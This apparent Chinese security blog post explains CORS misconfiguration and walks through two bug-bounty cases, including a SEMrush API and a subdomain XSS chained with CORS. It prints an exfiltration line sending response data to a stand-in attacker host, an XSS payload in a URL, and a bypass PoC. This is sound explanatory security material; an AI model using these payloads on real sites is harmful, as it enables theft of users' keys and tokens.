CORS配置不当—挖掘技巧及实战案例全汇总
- 2019 年 10 月 10 日
- 筆記

1、概念
CORS,即跨源资源共享(Cross-Origin Resource Sharing)。同源策略(Same OriginPolicy)要求不同源之间是无法通信的,而CORS则是放宽同源策略以通过浏览器实现网站之间通信的机制。
通常系统通过配置HTTP响应头来允许发出跨域请求,如下Example1发送一个Origin头,Example2以一个Access Control Allow Origin头响应,然后Example1便可以对Example2的数据进行操作:

2、漏洞原理
CORS配置不当通常会导致的危害是用户敏感信息泄露,场景大多数是get请求方式返回的json形式的敏感信息(密钥、token,key等)。CORS配置不当属于响应头中的一种,其他还有X-Frame-Options、Content-Security-Policy等。漏洞利用成功的前提是,两个返回头必须为:Access-Control-Allow-Origin:https://evil.com
Access-Control-Allow-Credentials:true

3、实战案例
1) SEMrush CORS misconfig
访问semrush的一个api端点,插入Origin头为攻击者服务器:

返回信息主体是用户敏感信息,需注意的是返回的Access-Control-Allow-Origin是攻击者服务器,这意味着系统存在CORS配置错误。

下一步,构造HTML文件,诱使受害者点击:

点击后,界面将弹出受害者敏感信息:

修改一下reqListener()函数为
location='//atttacker.net/log?key='+this.responseText;将把敏感数据发到攻击者服务器。
2)redacted子域XSS+ CORSmisconfig
和上面的案例类似,只是Origin接受的是redacted和子域:Origin:evil.redacted.com,要利用这个漏洞,必须在子域中寻找一个xss漏洞,结合xss发起请求,最终在banques.redacted.com发现xss:
https://banques.redacted.com/choice-quiz?form_banque=“> <script> alert(document.domain)</script>&form_cartes= 73&iframestat= 1,将alert事件替换为CORS请求:

最终poc为:

成功获取到敏感数据:

4、挖掘及绕过
1)挖掘思路
查看是否存在get请求的json形式敏感信息,在请求头中添加任意Origin值,如https://evil.com,查看返回头是否返回:Access-Control-Allow-Origin:https://evil.com和Access-Control-Allow-Credentials:true,若返回,则构造poc.html进行跨域读取数据。
2)绕过手段
绕过通常使用如下poc:
http://www.target.local{.<your-domain>/cors-poc


绕过原理不做详解,可阅读原文下载pdf自行研究,只要利用姿势正确,任何漏洞都可能成为高危漏洞。